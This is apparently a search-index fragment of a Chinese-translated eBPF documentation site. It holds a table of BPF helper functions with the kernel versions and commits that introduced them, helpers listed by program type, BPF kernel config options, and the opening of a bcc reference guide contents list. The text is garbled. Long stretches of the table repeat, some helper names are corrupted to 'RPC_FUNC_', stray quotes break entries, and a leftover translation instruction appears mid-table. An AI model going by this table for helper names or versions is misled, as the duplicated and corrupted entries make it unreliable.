3f6719c7b62f BPF_FUNC_btf_find_by_name_kind() 5.14 3d78417b60fb BPF_FUNC_cgrp_storage_delete() 6.2 c4bcfb38a95e BPF_FUNC_cgrp_storage_get() 6.2 c4bcfb38a95e BPF_FUNC_check_mtu() 5.12 34b2021cc616 BPF_FUNC_clone_redirect() 4.2 3896d655f4d4 BPF_FUNC_copy_from_user() 5.10 07be4c4a3e7a BPF_FUNC_copy_from_user_task() 5.18 GPL 376040e47334 BPF_FUNC_csum_diff() 4.6 7d672345ed29 BPF_FUNC_csum_level() 5.7 7cdec54f9713 BPF_FUNC_csum_update() 4.9 36bbef52c7eb \"BPF_FUNC_current_task_under_cgroup() BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 BPF_FUNC_current_task_under_cgroup() 4.9 60d20f9195b2 BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 \".\"BPF_FUNC_get_current_comm() BPF_FUNC_get_current_pid_tgid() 4.2 ffeedafbf023 BPF_FUNC_get_current_task() 4.8 GPL 606274c5abd8 BPF_FUNC_get_current_task_btf() 5.11 GPL 3ca1032ab7ab BPF_FUNC_get_current_uid_gid() 4.2 ffeedafbf023 BPF_FUNC_get_func_arg() 5.17 f92c1e183604 BPF_FUNC_get_func_arg_cnt() 5.17 f92c1e183604 BPF_FUNC_get_func_ip() 5.15 5d8b583d04ae BPF_FUNC_get_func_ret() 5.17 f92c1e183604 BPF_FUNC_get_retval() 5.18 b44123b4a3dc BPF_FUNC_get_hash_recalc() 4.8 13c5c240f789 BPF_FUNC_get_listener_sock() 5.1 dbafd7ddd623 BPF_FUNC_get_local_storage() 4.19 cd3394317653 BPF_FUNC_get_netns_cookie() 5.7 f318903c0bf4 BPF_FUNC_get_ns_current_pid_tgid() BPF_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 BPF_FUNC_get_prandom_u32() 4.1 03e69b508b6f BPF_FUNC_get_route_realm() 4.4 c46646d0484f BPF_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 BPF_FUNC_get_socket_cookie() 4.12 91b8270f2a4d BPF_FUNC_get_socket_uid() 4.12 6acc5c291068 BPF_FUNC_get_stack() 4.18 GPL de2ff05f48af BPF_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 BPF_FUNC_get_task_stack() 5.9 fa28dcb82a38 BPF_FUNC_getsockopt() 4.15 cd86d1fd2102 BPF_FUNC_ima_file_hash() 5.18 174b16946e39 BPF_FUNC_ima_inode_hash() 5.11 27672f0d280a BPF_FUNC_inode_storage_delete() 5.10 8ea636848aca RPC_FUNC_get_ns_current_pid_tgid() 5.7 b4490c5c4e02 RPC_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 RPC_FUNC_get_prandom_u32() 4.1 03e69b508b6f RPC_FUNC_get_route_realm() 4.4 c46646d0484f RPC_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 RPC_FUNC_get_socket_cookie() 4.12 91b8270f2a4d RPC_FUNC_get_socket_uid() 4.12 6acc5c291068 RPC_FUNC_get_stack() 4.18 GPL de2ff05f48af RPC_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 RPC_FUNC_get_task_stack() 5.9 fa28dcb82a38 RPC_FUNC_getsockopt() 4.15 cd86d1fd2102 RPC_FUNC_ima_file_hash() 5.18 174b16946e39 RPC_FUNC_ima_inode_hash() 5.11 27672f0d280a RPC_FUNC_inode_storage_delete() 5.10 8ea636848aca \".\"BPF_FUNC_inode_storage_get() BPF_FUNC_jiffies64() 5.5 5576b991e9c1 BPF_FUNC_kallsyms_lookup_name() 5.16 d6aef08a872b BPF_FUNC_kptr_xchg() 5.19 c0a5a21c25f3 BPF_FUNC_ktime_get_boot_ns() 5.8 71d19214776e BPF_FUNC_ktime_get_coarse_ns() 5.11 d05512618056 BPF_FUNC_ktime_get_ns() 4.1 d9847d310ab4 BPF_FUNC_ktime_get_tai_ns() 6.1 c8996c98f703 BPF_FUNC_l3_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_l4_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_load_hdr_opt() 5.10 0813a841566f BPF_FUNC_loop() 5.17 e6f2dd0f8067 BPF_FUNC_lwt_push_encap() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_action() 4.18 fe94cc290f53 `BPF_FUNC_lwt_seg6_adjust_srh()` `BPF_FUNC_lwt_seg6_store_bytes()` 4.18 fe94cc290f53 `BPF_FUNC_map_delete_elem()` 3.19 d0003ec01c66 `BPF_FUNC_map_lookup_elem()` 3.19 d0003ec01c66 `BPF_FUNC_map_lookup_percpu_elem()` 5.19 07343110b293 `BPF_FUNC_map_peek_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_pop_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_push_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_update_elem()` 3.19 d0003ec01c66 `BPF_FUNC_msg_apply_bytes()` 4.17 2a100317c9eb `BPF_FUNC_msg_cork_bytes()` 4.17 91843d540a13 `BPF_FUNC_msg_pop_data()` 5.0 7246d8ed4dcc `BPF_FUNC_msg_pull_data()` 4.17 015632bb30da `BPF_FUNC_msg_push_data()` 4.20 6fff607e2f14 \".BPF_FUNC_msg_redirect_hash() BPF_FUNC_msg_redirect_map() 4.17 4f738adba30a BPF_FUNC_per_cpu_ptr() 5.10 eaa6bcb71ef6 BPF_FUNC_perf_event_output() 4.4 GPL a43eec304259 BPF_FUNC_perf_event_read() 4.3 GPL 35578d798400 BPF_FUNC_perf_event_read_value() 4.15 GPL 908432ca84fc BPF_FUNC_perf_prog_read_value() 4.15 GPL 4bebdc7a85aa BPF_FUNC_probe_read() 4.1 GPL 2541517c32be BPF_FUNC_probe_read_kernel() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_kernel_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_str() 4.11 GPL a5e8c07059d0 BPF_FUNC_probe_write_user() 4.8 GPL 96ae52279594 \"BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() 5.0 GPL 01d3240a04f4 BPF_FUNC_rc_repeat() 4.18 GPL f4364dcfc86d BPF_FUNC_read_branch_records() 5.6 GPL fff7b64355ea BPF_FUNC_redirect() 4.4 27b29f63058d BPF_FUNC_redirect_map() 4.14 97f91a7cf04f BPF_FUNC_redirect_neigh() 5.10 b4ab31414970 BPF_FUNC_redirect_peer() 5.10 9aa1206e8f48 BPF_FUNC_reserve_hdr_opt() 5.10 0813a841566f BPF_FUNC_ringbuf_discard() 5.8 457f44363a88 BPF_FUNC_ringbuf_discard_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_output() 5.8 457f44363a88 BPF_FUNC_ringbuf_query() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_ringbuf_reserve_dynptr() BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d \".\"BPF_FUNC_sk_cgroup_id() BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 BPF_FUNC_sk_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 。\"BPF_FUNC_skb_change_tail()` BPF_FUNC_skb_change_type() 4.8 d2485c4242a8 BPF_FUNC_skb_cgroup_classid() 5.10 b426ce83baa7 BPF_FUNC_skb_cgroup_id() 4.18 cb20b08ead40 BPF_FUNC_skb_ecn_set_ce() 5.1 f7c917ba11a6 BPF_FUNC_skb_get_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_get_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_get_xfrm_state() 4.18 12bed760a78d BPF_FUNC_skb_load_bytes() 4.5 05c74e5e53f6 BPF_FUNC_skb_load_bytes_relative() 4.18 4e1ec56cdc59 BPF_FUNC_skb_output() 5.5 a7658e1a4164 BPF_FUNC_skb_pull_data() 4.9 36bbef52c7eb BPF_FUNC_skb_set_tstamp() 5.18 9bb984f28d5b BPF_FUNC_skb_set_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_set_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_store_bytes() 4.1 91bc4822c3d6 BPF_FUNC_skb_under_cgroup() 4.8 4a482f34afcc BPF_FUNC_skb_vlan_pop() 4.3 4e10df9a60d9 BPF_FUNC_skb_vlan_push() 4.3 4e10df9a60d9 BPF_FUNC_skc_lookup_tcp() 5.2 edbf8c01de5a BPF_FUNC_skc_to_mctcp_sock() 5.19 3bc253c2e652 BPF_FUNC_skc_to_tcp_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_request_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_timewait_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp6_sock() 5.9 af7ec1383361 BPF_FUNC_skc_to_udp6_sock() 5.9 0d4fad3e57df BPF_FUNC_skc_to_unix_sock() 5.16 9eeb3aa33ae0 BPF_FUNC_snprintf() 5.13 7b15523a989b \".\"BPF_FUNC_snprintf_btf() BPF_FUNC_sock_from_file() 5.11 4f19cab76136 BPF_FUNC_sock_hash_update() 4.18 81110384441a BPF_FUNC_sock_map_update() 4.14 174a79ff9515 BPF_FUNC_spin_lock() 5.1 d83525ca62cf BPF_FUNC_spin_unlock() 5.1 d83525ca62cf BPF_FUNC_store_hdr_opt() 5.10 0813a841566f BPF_FUNC_strncmp() 5.17 c5fb19937455 BPF_FUNC_strtol() 5.2 d7a4cb9b6705 BPF_FUNC_strtoul() 5.2 d7a4cb9b6705 BPF_FUNC_sys_bpf() 5.14 79a7f8bdb159 BPF_FUNC_sys_close() 5.14 3abea089246f BPF_FUNC_sysctl_get_current_value() 5.2 1d11b3016cec BPF_FUNC_sysctl_get_name() 5.2 808649fb787d \". 格式：只返回翻译后的内容，不包括原文。BPF_FUNC_sysctl_get_new_value()| 5.2| | 4e63acdff864 BPF_FUNC_sysctl_set_new_value()|5.2| | 4e63acdff864 BPF_FUNC_tail_call()|4.2| | 04fd61ab36ec BPF_FUNC_task_pt_regs()|5.15| GPL | dd6e10fbd9f BPF_FUNC_task_storage_delete()|5.11| | 4cf1bc1f1045 BPF_FUNC_task_storage_get()|5.11| | 4cf1bc1f1045 BPF_FUNC_tcp_check_syncookie()|5.2| | 399040847084 BPF_FUNC_tcp_gen_syncookie()|5.3| | 70d66244317e BPF_FUNC_tcp_raw_check_syncookie_ipv4()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_check_syncookie_ipv6()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv4()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv6()|6.0| | 33bf9885040c BPF_FUNC_tcp_send_ack()|5.5 | | 206057fe020a BPF_FUNC_tcp_sock() 5.1 655a51e536c0 BPF_FUNC_this_cpu_ptr() 5.10 63d9b80dcf2c BPF_FUNC_timer_init() 5.15 b00628b1c7d5 BPF_FUNC_timer_set_callback() 5.15 b00628b1c7d5 BPF_FUNC_timer_start() 5.15 b00628b1c7d5 BPF_FUNC_timer_cancel() 5.15 b00628b1c7d5 BPF_FUNC_trace_printk() 4.1 GPL 9c959c863f82 BPF_FUNC_trace_vprintk() 5.16 GPL 10aceb629e19 BPF_FUNC_user_ringbuf_drain() 6.1 205715673844 BPF_FUNC_xdp_adjust_head() 4.10 17bedab27231 BPF_FUNC_xdp_adjust_meta() 4.15 de8f3a83b0a0 BPF_FUNC_xdp_adjust_tail() 4.18 b32cc5b9a346 BPF_FUNC_xdp_get_buff_len() 5.18 0165cc817075 BPF_FUNC_xdp_load_bytes() 5.18 3f364222d032 \"BPF_FUNC_xdp_store_bytes() BPF_FUNC_xdp_output() 5.6 GPL d831ee84bfc9 BPF_FUNC_override_return() 4.16 GPL 9802d86585db BPF_FUNC_sock_ops_cb_flags_set() 4.16 b13d88072172 注：仅GPL兼容的BPF助手需要GPL兼容的许可证。内核所认可的当前GPL兼容许可证有： GPL GPL v2 GPL和其他权利 双BSD/GPL 双MIT/GPL 双MPL/GPL 在您的 内核源代码 中查看GPL兼容许可证的列表。","breadcrumbs":"BPF Features by Linux Kernel Version » XDP","id":"233","title":"XDP"},"234":{"body":"可以使用以下命令获取程序类型和支持的辅助函数列表： git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ 程序类型 辅助函数 BPF_PROG_TYPE_SOCKET_FILTER BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_perf_event_output() 基础函数 BPF_PROG_TYPE_KPROBE BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_event_read_value() BPF_FUNC_override_return() 跟踪函数 BPF_PROG_TYPE_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_d_path() 跟踪函数 BPF_PROG_TYPE_XDP BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_csum_diff() BPF_FUNC_xdp_adjust_head() BPF_FUNC_xdp_adjust_meta() BPF_FUNC_redirect() BPF_FUNC_redirect_map() BPF_FUNC_xdp_adjust_tail() BPF_FUNC_fib_lookup() 基础函数 BPF_PROG_TYPE_PERF_EVENT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_prog_read_value() 跟踪函数 BPF_PROG_TYPE_CGROUP_SOCK | BPF_FUNC_get_current_uid_gid() 基本功能 BPF_PROG_TYPE_LWT_IN | BPF_FUNC_lwt_push_encap() LWT功能 基本功能 BPF_PROG_TYPE_LWT_OUT LWT功能 基本功能 BPF_PROG_TYPE_LWT_XMIT | BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_clone_redirect() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_skb_store_bytes() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_set_hash_invalid() LWT功能 BPF_PROG_TYPE_SOCK_OPS | BPF_FUNC_setsockopt() BPF_FUNC_getsockopt() BPF_FUNC_sock_ops_cb_flags_set() BPF_FUNC_sock_map_update() BPF_FUNC_sock_hash_update() BPF_FUNC_get_socket_cookie() 基本功能 BPF_PROG_TYPE_SK_SKB | BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_sk_redirect_map() BPF_FUNC_sk_redirect_hash() BPF_FUNC_sk_lookup_tcp() BPF_FUNC_sk_lookup_udp() BPF_FUNC_sk_release() 基本功能 BPF_PROG_TYPE_CGROUP_DEVICE | BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_get_current_uid_gid() BPF_FUNC_trace_printk() BPF_PROG_TYPE_RAW_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_skb_output() 跟踪功能 BPF_PROG_TYPE_CGROUP_SOCK_ADDR BPF_FUNC_get_current_uid_gid() BPF_FUNC_bind() BPF_FUNC_get_socket_cookie() 基本功能 BPF_PROG_TYPE_LWT_SEG6LOCAL BPF_FUNC_lwt_seg6_store_bytes() BPF_FUNC_lwt_seg6_action() BPF_FUNC_lwt_seg6_adjust_srh() LWT功能 BPF_PROG_TYPE_LIRC_MODE2 BPF_FUNC_rc_repeat() BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_prandom_u32() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_REUSEPORT BPF_FUNC_sk_select_reuseport() BPF_FUNC_skb_load_bytes() BPF_FUNC_load_bytes_relative() 基本功能 BPF_PROG_TYPE_FLOW_DISSECTOR BPF_FUNC_skb_load_bytes() 基本功能 功能组 功能 基本功能 BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_map_peek_elem() BPF_FUNC_map_pop_elem() BPF_FUNC_map_push_elem() BPF_FUNC_get_prandom_u32() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_tail_call() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_trace_printk() BPF_FUNC_spin_lock() BPF_FUNC_spin_unlock() LWT函数 BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_get_cgroup_classid() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup()","breadcrumbs":"BPF Features by Linux Kernel Version » 程序类型","id":"234","title":"程序类型"},"235":{"body":"","breadcrumbs":"Kernel Configuration for BPF Features » BPF 特性的内核配置","id":"235","title":"BPF 特性的内核配置"},"236":{"body":"功能 内核配置 描述 基础 CONFIG_BPF_SYSCALL 启用 bpf() 系统调用 CONFIG_BPF_JIT BPF 程序通常由 BPF 解释器处理。此选项允许内核在加载程序时生成本地代码。这将显著加速 BPF 程序的处理 CONFIG_HAVE_BPF_JIT 启用 BPF 即时编译器 CONFIG_HAVE_EBPF_JIT 扩展 BPF JIT (eBPF) CONFIG_HAVE_CBPF_JIT 经典 BPF JIT (cBPF) CONFIG_MODULES 启用可加载内核模块的构建 CONFIG_BPF BPF VM 解释器 CONFIG_BPF_EVENTS 允许用户将 BPF 程序附加到 kprobe、uprobe 和 tracepoint 事件上 CONFIG_PERF_EVENTS 内核性能事件和计数器 CONFIG_HAVE_PERF_EVENTS 启用性能事件 CONFIG_PROFILING 启用分析器使用的扩展分析支持机制 BTF CONFIG_DEBUG_INFO_BTF 从 DWARF 调试信息生成去重的 BTF 类型信息 CONFIG_PAHOLE_HAS_SPLIT_BTF 为每个选定的内核模块生成 BTF CONFIG_DEBUG_INFO_BTF_MODULES 为内核模块生成紧凑的分割 BTF 类型信息 安全 CONFIG_BPF_JIT_ALWAYS_ON 启用 BPF JIT 并删除 BPF 解释器以避免猜测执行 CONFIG_BPF_UNPRIV_DEFAULT_OFF 通过设置默认禁用非特权 BPF Cgroup CONFIG_CGROUP_BPF 支持将 BPF 程序附加到 cgroup 上 网络 CONFIG_BPFILTER 基于 BPF 的数据包过滤框架 (BPFILTER) CONFIG_BPFILTER_UMH 使用内嵌的用户模式助手构建 bpfilter 内核模块 CONFIG_NET_CLS_BPF 基于可编程 BPF (JIT'ed) 过滤器进行数据包分类的基于 BPF 的分类器的替代方法 CONFIG_BPF_STREAM_PARSER 启用此功能，允许使用BPF_MAP_TYPE_SOCKMAP与TCP流解析器配合使用 CONFIG_LWTUNNEL_BPF 在路由查找入站和出站数据包后，允许作为下一跳操作运行BPF程序 CONFIG_NETFILTER_XT_MATCH_BPF BPF匹配将对每个数据包应用Linux套接字过滤器，并接受过滤器返回非零值的数据包 CONFIG_IPV6_SEG6_BPF 为支持BPF seg6local挂钩，添加IPv6 Segement Routing助手 参考 kprobes CONFIG_KPROBE_EVENTS 允许用户通过ftrace接口动态添加跟踪事件（类似于tracepoints） CONFIG_KPROBES 启用基于kprobes的动态事件 CONFIG_HAVE_KPROBES 检查是否启用了kprobes CONFIG_HAVE_REGS_AND_STACK_ACCESS_API 如果架构支持从pt_regs访问寄存器和堆栈条目所需的API，则应该选择此符号。例如，基于kprobes的事件跟踪器需要此API CONFIG_KPROBES_ON_FTRACE 如果架构支持将pt_regs完全传递给函数跟踪，则在函数跟踪器上有kprobes kprobe multi CONFIG_FPROBE 启用fprobe以一次性在多个函数上附加探测点 kprobe override CONFIG_BPF_KPROBE_OVERRIDE 启用BPF程序覆盖kprobed函数 uprobes CONFIG_UPROBE_EVENTS 启用基于uprobes的动态事件 CONFIG_ARCH_SUPPORTS_UPROBES 架构特定的uprobes支持 CONFIG_UPROBES Uprobes是kprobes的用户空间对应项：它们允许仪器应用程序（如'perf probe'）在用户空间二进制文件和库中建立非侵入性探测点，并在用户空间应用程序触发探测点时执行处理函数。 Tracepoints CONFIG_TRACEPOINTS 启用在内核中插入Tracepoints并与问题函数连接 CONFIG_HAVE_SYSCALL_TRACEPOINTS 启用系统调用进入/退出跟踪 Raw Tracepoints Same as Tracepoints LSM CONFIG_BPF_LSM 使用BPF程序对安全钩子进行仪器化，实现动态MAC和审计策略 LIRC CONFIG_BPF_LIRC_MODE2 允许将BPF程序附加到lirc设备","breadcrumbs":"Kernel Configuration for BPF Features » 与 BPF 相关的内核配置","id":"236","title":"与 BPF 相关的内核配置"},"237":{"body":"用于搜索 (Ctrl-F) 和参考。如需教程，请从 tutorial.md 开始。 该指南尚未完成。如果感觉有遗漏的内容，请查看 bcc 和内核源码。如果确认确实有遗漏，请发送拉取请求进行修复，并协助所有人。","breadcrumbs":"bcc Reference Guide » bcc 参考指南","id":"237","title":"bcc 参考指南"},"238":{"body":"bcc 参考指南 目录 BPF C Events & Arguments 1. kprobes 2. kretprobes 3. Tracepoints 4. uprobes 6. USDT探测点 7. 原始跟踪点 8. 系统调用跟踪点 9. kfuncs 10. kretfuncs 11. LSM Probes 12. BPF迭代器 数据 1. bpf_probe_read_kernel() 2. bpf_probe_read_kernel_str()\".```shell 3. bpf_ktime_get_ns() 4. bpf_get_current_pid_tgid() 5. bpf_get_current_uid_gid() 6. bpf_get_current_comm() 7. bpf_get_current_task() 8. bpf_log2l() 9. bpf_get_prandom_u32() 10. bpf_probe_read_user() 11. bpf_probe_read_user_str() 12. bpf_get_ns_current_pid_tgid() 调试 1. bpf_override_return() 输出 1. bpf_trace_printk() 2. BPF_PERF_OUTPUT 3. perf_submit() 4. perf_submit_skb() 5. BPF_RINGBUF_OUTPUT 6. ringbuf_output（） 7. ringbuf_reserve() 8. ringbuf_submit（） 9. ringbuf_discard() Maps 1. BPF_TABLE 固定映射 2. BPF_HASH 3. BPF_ARRAY 4. BPF_HISTOGRAM 5. BPF_STACK_TRACE 6. BPF_PERF_ARRAY 7. BPF_PERCPU_HASH 8. BPF_PERCPU_ARRAY 9. BPF_LPM_TRIE 10. BPF_PROG_ARRAY 11. BPF_DEVMAP 12. BPF_CPUMAP 13. BPF_XSKMAP 14. BPF_ARRAY_OF_MAPS 15. BPF_HASH_OF_MAPS 16. BPF_STACK 17. BPF_QUEUE 18. BPF_SOCKHASH 19. map.lookup() 20. map.lookup_or_try_init() 21. map.delete() 22. map.update() 23. map.insert() 24. map.increment() 25. map.get_stackid() 26. map.perf_read() 27. map.call() 28. map.redirect_map() 29. map.push() 30. map.pop() 31. map.peek() 32. map.sock_hash_update() 33. map.msg_redirect_hash() 34. map.sk_redirect_hash() 许可证 Rewriter bcc Python 初始化 1. BPF 事件 1. attach_kprobe() 2. attach_kretprobe() 3. attach_tracepoint() 4. attach_uprobe() 5. attach_uretprobe() 6. USDT.enable_probe() 7. attach_raw_tracepoint() 8. attach_raw_socket() 9. attach_xdp() 1. XDP_FLAGS_UPDATE_IF_NOEXIST 2. XDP_FLAGS_SKB_MODE 3. XDP_FLAGS_DRV_MODE 4. XDP_FLAGS_HW_MODE 10. attach_func() 12. detach_kprobe() 13. detach_kretprobe() 调试输出 1. trace_print() 2. trace_fields() 输出 API 1. perf_buffer_poll() 2. ring_buffer_poll() 3. ring_buffer_consume() Map APIs 1. get_table() 2. 